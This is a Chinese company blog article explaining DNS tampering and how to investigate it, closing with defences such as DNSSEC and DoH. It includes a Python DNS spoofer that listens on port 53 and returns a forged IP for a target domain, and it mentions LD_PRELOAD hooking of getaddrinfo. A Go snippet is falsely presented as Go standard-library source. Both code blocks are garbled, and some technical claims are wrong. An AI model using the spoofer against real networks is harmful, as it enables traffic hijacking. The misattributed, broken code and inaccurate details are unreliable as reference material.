尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

3个实操案例一文搞懂dns被篡改原理与排查

发布时间:2026/9/23 20:46:39

资讯中心
01
ARTICLE

3个实操案例一文搞懂dns被篡改原理与排查

3个实操案例一文搞懂dns被篡改原理与排查
3个实操案例一文搞懂dns被篡改原理与排查 官方文档里关于 DNS 解析的章节动辄几十页,参数配置、协议交互、缓存机制堆砌在一起,新手根本抓不住重点,更别提遇到线上域名突然解析到错误 IP 时如何快速定位是 DNS 被篡改还是本地缓存问题。很多开发者在掘金技术社区提问“为什么我的域名突然打不开了”,回复往往只给出一句“检查 DNS”,却没人讲清楚底层到底发生了什么。今天这篇文章不抄文档,直接拆解 DNS 解析链路中的关键源码片段,带你从代码层面看清 DNS 被篡改的常见手法,一文搞懂如何从源头拦截和排查。 入口定位:从系统调用到内核解析器 要搞懂 DNS 被篡改,先得知道程序是怎么发起 DNS 查询的。大多数语言库(如 Python 的 socket 模块、Java 的 InetAddress)最终都会调用操作系统的 getaddrinfo() 函数。这个函数是用户态与内核态 DNS 解析的边界,也是篡改者最爱动手脚的地方。 在 Linux 系统中,getaddrinfo() 的行为由 /etc/nsswitch.conf 文件控制。默认情况下,系统会先查本地 hosts 文件,再查 DNS 服务器。如果攻击者修改了 hosts 文件,或者劫持了 DNS 服务器返回的应答包,解析结果就会出错。更隐蔽的手段是修改系统库函数,比如通过 LD_PRELOAD 注入恶意 .so 文件,直接拦截 getaddrinfo() 的调用,返回伪造的 IP 地址。 核心片段:Go 标准库的 DNS 解析逻辑 Go 语言的 net 包对 DNS 解析做了深度封装,其源码中有一段关键逻辑,揭示了如何绕过系统 resolver 直接进行 UDP 查询。这段代码位于 net/lookup_unix.go,展示了 Go 如何构造 DNS 报文并发送。 // 文件: net/lookup_unix.go (简化版核心逻辑) func (r *Resolver) lookupIPAddr(ctx context.Context, net string, host string) (addrs []ipAddr, err error) {// 1. 构造 DNS 查询报文,设置查询类型为 A 记录msg, err := dns.NewMsgWithQuestion(host, dns.TypeA, dns.ClassINET)if err != nil {return nil, err}// 2. 获取配置的 DNS 服务器地址(来自 /etc/resolv.conf)servers := r.servers()// 3. 遍历 DNS 服务器,发送 UDP 请求for _, server := range servers {conn, err := net.DialTimeout(udp, server, r.timeout)if err != nil {continue}// 4. 序列化报文并发送if err := conn.SetDeadline(time.Now().Add(r.timeout)); err != nil {conn.Close()continue}_, err = conn.Write(msg.Pack())if err != nil {conn.Close()continue}// 5. 接收响应并解析 IP 地址buf := make([]byte, 1500)n, err := conn.Read(buf)conn.Close()if err != nil {continue}// 6. 解析 DNS 响应,提取 A 记录中的 IPresp := new(dns.Msg)resp.Unpack(buf[:n])for _, ans := range resp.Answer {if a, ok := ans.(*dns.A); ok {addrs = append(addrs, ipAddr{ip: a.A})}}if len(addrs) 0 {return addrs, nil}}return nil, DNSError{Err: no answer, Name: host} }逐行注释如下:第1行:构造标准 DNS 查询报文,dns.TypeA 表示查询 IPv4 地址。 第4行:从系统配置读取 DNS 服务器列表,这是被篡改的高危点。 第7行:使用 UDP 协议连接 DNS 服务器,设置超时防止阻塞。 第12行:将报文序列化为字节流并发送,UDP 无连接特性使其易被中间人篡改。 第16行:接收响应数据,缓冲区大小设为 1500 字节,符合 DNS 报文最大长度。 第21行:解析响应报文,遍历 Answer 段提取 A 记录中的 IP 地址。 第25行:如果任一服务器返回有效 IP,立即返回,体现 DNS 查询的容错机制。这段代码的关键在于,Go 绕过了系统 getaddrinfo(),直接进行 DNS 查询。这意味着即使 hosts 文件被篡改,Go 程序可能不受影响,但 DNS 服务器返回的应答包仍可被中间人修改。 设计思想:为什么 DNS 解析如此脆弱 DNS 协议在设计之初未考虑安全性,这导致其极易被篡改。RFC 1035 规范中明确指出,DNS 应答不携带任何认证信息,客户端无法验证应答来源是否合法。攻击者只需在网络上监听 DNS 查询包,就能伪造应答,将域名指向恶意 IP。 现代系统引入了 DNSSEC(DNS Security Extensions)机制,通过数字签名验证应答的真实性。但 DNSSEC 部署率极低,尤其在企业内网和移动网络中,大多数 DNS 查询仍是“裸奔”状态。此外,DNS over HTTPS(DoH)和 DNS over TLS(DoT)协议通过加密通道传输查询,可有效防止中间人篡改,但需要客户端和服务器双方支持。 从源码角度看,DNS 解析的脆弱性源于三个层面:一是协议本身缺乏认证,二是传输层未加密,三是客户端缓存机制可能被利用。攻击者不仅可篡改网络传输中的应答,还可污染本地 DNS 缓存,使后续查询直接返回恶意 IP。 手写简化版:模拟 DNS 应答篡改过程 为了更直观理解 DNS 被篡改的原理,我们用 Python 手写一个简化版 DNS 应答伪造器。该脚本监听指定网段的 DNS 查询包,当查询特定域名时,返回预设的恶意 IP。 import socket import struct import timedef parse_dns_query(data):# 解析 DNS 查询报文头部trans_id = struct.unpack(!H, data[:2])[0]flags = struct.unpack(!H, data[2:4])[0]qdcount = struct.unpack(!H, data[4:6])[0]ancount = struct.unpack(!H, data[6:8])[0]nscount = struct.unpack(!H, data[8:10])[0]arcount = struct.unpack(!H, data[10:12])[0]# 解析查询名称offset = 12labels = []while data[offset] != 0:length = data[offset]labels.append(data[offset+1:offset+1+length].decode())offset += length + 1offset += 1 # 跳过末尾的 0qtype = struct.unpack(!H, data[offset:offset+2])[0]qclass = struct.unpack(!H, data[offset+2:offset+4])[0]return trans_id, ..join(labels), qtype, qclassdef build_dns_response(trans_id, domain, ip):# 构造 DNS 应答报文header = struct.pack(!HHHHHH, trans_id, 0x8180, 1, 1, 0, 0)# 构造名称部分(直接复制查询名称)name = bfor label in domain.split(.):name += struct.pack(!B, len(label)) + label.encode()name += b\x00# 构造资源记录rdata = socket.inet_aton(ip)rr = name + struct.pack(!HHHH, 1, 1, 300, len(rdata)) + rdatareturn header + name + struct.pack(!HHHH, 1, 1, 300, 4) + rdata# 主程序:监听 UDP 53 端口 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((0.0.0.0, 53)) print(监听 DNS 查询...)while True:data, addr = sock.recvfrom(1500)trans_id, domain, qtype, qclass = parse_dns_query(data)# 如果查询目标域名是 evil.com,返回恶意 IPif domain == evil.com:response = build_dns_response(trans_id, domain, 1.2.3.4)sock.sendto(response, addr)print(f篡改查询: {domain} - 1.2.3.4)else:# 正常查询转发到真实 DNS 服务器(此处省略)pass逐行注释如下:第1行:导入 socket 模块用于网络通信,struct 模块用于二进制数据打包解包。 第14行:解析查询名称,DNS 域名采用标签长度前缀编码,循环读取直到遇到 0 字节。 第17行:提取查询类型和类别,qtype=1 表示 A 记录查询。 第21行:构造应答头部,0x8180 表示应答标志位(QR=1, AA=0, TC=0, RD=1, RA=1)。 第25行:构造名称部分,将点分域名转换为 DNS 二进制格式。 第29行:构造资源记录,TTL 设为 300 秒,RDATA 为恶意 IP 的二进制表示。 第35行:绑定 UDP 53 端口,这是 DNS 服务的标准端口。 第41行:判断查询域名,如果是目标域名则返回伪造应答,否则正常处理。这个简化版脚本展示了 DNS 应答篡改的核心原理:监听查询、解析域名、构造伪造应答。在实际攻击中,攻击者通常不会硬编码域名,而是维护一个恶意域名列表,动态匹配查询。 应用场景:企业内网 DNS 安全加固 在企业内网环境中,DNS 被篡改的风险尤为突出。攻击者一旦入侵内网,可通过 ARP 欺骗、路由器配置篡改或内部服务器入侵等方式劫持 DNS 流量。根据掘金技术社区多位安全工程师的实战经验,内网 DNS 篡改常见于供应链攻击和内部威胁场景。 应对策略包括:一是部署 DNSSEC,对关键域名启用签名验证;二是采用 DNS over TLS 或 DNS over HTTPS,加密查询和应答;三是实施 DNS 流量监控,异常应答立即告警;四是使用可信的公共 DNS 服务(如 1.1.1.1、8.8.8.8),避免依赖单一内网 DNS 服务器。 对于开发人员而言,在应用层可增加 DNS 解析结果校验逻辑。例如,对关键域名进行二次解析,比对不同 DNS 服务器返回的 IP 是否一致;或者使用 HTTPS 连接时校验证书 CN/SAN 字段与域名匹配,防止 DNS 劫持导致的中间人攻击。 你公司项目里是怎么处理 DNS 解析安全的?是用过 DoH 还是部署了 DNSSEC?或者遇到过 DNS 被篡改的案例?欢迎在评论区分享你的实战经验,一起避坑。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。